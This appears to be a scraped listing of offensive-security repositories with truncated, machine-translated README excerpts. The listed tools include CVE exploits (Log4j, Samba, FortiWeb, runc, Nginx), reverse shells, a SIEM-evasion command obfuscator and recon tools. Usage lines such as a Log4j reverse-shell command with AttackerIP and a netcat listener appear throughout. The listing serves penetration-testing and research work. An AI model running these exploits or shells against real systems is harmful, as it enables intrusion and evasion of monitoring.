CVE-2025-52970

CVE-2025-52970 FortiWeb 认证绕过到远程代码执行漏洞利用程序 功能特性 武器化：添加交互式 Shell 实现远程代码执行 使用方法 python CVE-2025-52970.py -t target.com 演示 参考来源 https://github.com/Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass 免责声明 此概念验证代码仅用于教育目的，本人不对任何恶意使用负责。...

Port-enumeration

端口枚举 你是否曾经遇到过无法使用 NMap 的情况？例如，如果你拥有一个非特权用户的反弹 shell，且没有预装有用的工具？ 这是一个小型脚本，可以在你没有任何工具时帮助你扫描网络。 使用示例： chmod +x port-enum.sh ./port-enum.sh 192.168.1.1 或 bash port-enum.sh 192.168.1.1 原始文章： https://www.ivanglinkin.com/simple-port-enumeration/ 视频示例： 截图：...

SSCMS-PluginShell

安装VisualStudio 2. 导入该项目 3. 修改Startup.cs文件中的IPAddress.Parse值 using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using System; using System.Text; using System.Net.Sockets; using...

kippo

注意：对于更近期的开发，请查看 Michel Oosterhof 的分支 Kippo Kippo 是一个中等交互的 SSH 蜜罐，旨在记录暴力破解攻击，以及最重要的是，攻击者执行的全部 shell 交互。 Kippo 的灵感来源于，但并不基于 Kojoney。 演示 下面是一些来自运行中的 Kippo 安装的有趣日志（可通过 Ajaxterm 在网页浏览器中查看）。请注意，自这些日志记录以来，某些命令可能已得到改进。 2009-11-22 2009-11-23 2009-11-23 2010-03-16 功能特性 一些有趣的功能： 具有添加/删除文件能力的虚拟文件系统。包含一个模仿...

staystaystay

staystaystay staystaystay es un exploit de prueba de concepto para CVE-2021-1585, un problema de RCE de intermediario o punto final malicioso que afecta a Cisco ASA Device Manager ASDM. El problema fue descubierto originalmente por Malcolm Lashley y divulgado en el verano de 2021. Sin embargo, en...

magicRecon

MagicRecon：快速、简单且高效 MagicRecon 是一个功能强大的 shell 脚本，旨在最大化目标的情报收集与数据整理过程，并发现常见漏洞，同时将结果以组织形式保存在目录中，支持多种格式。 使用 Magic Recon，您可以进行被动和主动侦察、漏洞分析、子域名扫描以及更多操作！ 主要特性 💥 将结果以多种格式有序保存。 子域名枚举。 检查域名是否存活。 获取每个子域名的 whois 信息。 获取每个子域名的 DNS 信息。 提取域名所使用的技术栈。 获取域名使用的证书信息。 对域名进行截图。 搜索域名相关的电子邮件、用户等信息。 枚举 AWS、Azure 和 Google...

JSshell

JSshell - versión 3.1 JSshell - un reverse shell de JavaScript. Se utiliza para ejecutar código JS de forma remota, explotar XSS ciego, ... Requisitos: Cualquier sistema operativo + Python 2 o Python 3 Novedades en JSshell versión 3.1 Actualizado en la nueva versión de JSshell 3.1: Nuevo comando...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Uso Para reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort Para comprobar si es explotable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p...

WebLogic-Shiro-shell

Java反序列化技术分享 本次分享涉及的东西有以下几点： 1. Java序列化和反序列化基础 2. 为什么在反序列化的时候会产生漏洞？ 3. Java反射 4. ysoserial CommonsCollections2、CommonsCollections5 5. Java ClassLoader 加载类的几种方法 6. WebLogic CVE-2020-2555 CVE-2020-2883 RCE 7. Shiro-550 rememberMe 硬编码导致的反序列化RCE 8. WebLogic + Shiro 反序列化一键注册filter内存shell Java序列化和反序列化基...

CVE-2020-7247-exploit

CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 Exploit PoC de ejecución remota de código Referencia: https://www.openwall.com/lists/oss-security/2020/01/28/3 Uso python3 exploit.py Dependencias pip3 install --user pwntools...

volana

volana 马达加斯加语中的月亮 使用它 ; 🌚隐藏于; 🌞可被检测到 Shell 命令混淆，以避免 SIEM/检测系统 在渗透测试中，一个重要方面是保持隐秘 。因此，你应该在行动后清除痕迹 。然而，许多基础设施会实时记录命令并发送到 SIEM，这使得事后清理工作变得毫无意义。 volana 提供了一种简单的方法来隐藏在被攻陷机器上执行的命令：它提供了一个自己的 shell 运行环境（输入你的命令，volana 为你执行）。这样你可以在行动过程中清除痕迹 。 使用方法 你需要获取一个交互式...

ShellEvil

ShellEvil Jonatas Fil Dkr Julio Della Flora Thiago Sena THX Exploit de shell interactivo de Struts 2 DefaultActionMapper para CVE-2013-225 S2-016 El DefaultActionMapper de Struts 2 admite un método para cambios de estado de navegación en cortocircuito, prefijando parámetros con "action:" o...

CVE-2024-54887-PoC

CVE-2024-54887 PoC en TypeScript Este repositorio contiene una reescritura en TypeScript ts-node del PoC público en Python para CVE-2024-54887 TP-Link TL-WR940N v3/v4 RCE autenticado. Requisitos previos Node.js 20+ Instalación npm install Uso npx ts-node .\cve-2024-54887.ts --ip Credenciales...

CVE-2007-2447

CVE-2007-2447 Exploit de Samba 3.0.20 CVE-2007-2447 python3 smb3.0.20exp.py -lh localhost -lp local port -t target Crea un listener de Netcat nc -nlvp 4444 Ejecuta el script python3 smb3.0.20exp.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3...

nginxhack

Esta es una herramienta que utiliza un exploit llamado CVE-2013-2028 para ejecutar un bind shell en el servidor objetivo que ejecuta Nginx 1.3.9 o 1.4.0. Se puede descargar aquí necesitarás ejecutarlo desde la línea de comandos Uso: nginxhack target target port target bind port...

CVE-2024-21626

CVE-2024-21626 POC Requisitos runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy EOF !/bin/bash ba...

intelspy

Perform automated network reconnaissance scans to gather network intelligence. IntelSpy is a multi-threaded network intelligence tool which performs automated network services enumeration. It performs live hosts detection scans, port scans, services enumeration scans, web content scans,...

DFShell

██████╗ ███████╗███████╗██╗ ██╗███████╗██╗ ██╗ ██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║ ██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║ ██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║ ██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ 介绍 D3Ext...

Onionscan

despliegue de onionscan ¡nota! este repositorio es una versión parcheada de https://github.com/s-rah/onionscan y está diseñado para ejecutarse desde una consola de Google Cloud desde hunchly en https://github.com/hunchly/funchly/tree/main/onionscan que se ha utilizado como base y se ha modificado...

hackersh

Hackersh Hackersh （"黑客 Shell"）是一个用 Python 编写、具有类似 Pythonect 语法的 Shell（命令解释器），内置安全命令，并提供了多种安全工具的即开即用封装。 Hello, world 以下是 Hackersh 中经典的 "Hello, world" 示例程序:: "http://localhost" - url - nmap - w3af 等等，这是什么？这是一个紧凑但 100% 完整的黑盒 Web 应用漏洞扫描器实现。 安装 安装 Hackersh 有几种方式。 1. 你可以使用 easyinstall 或 pip 直接从 PyPI 安装...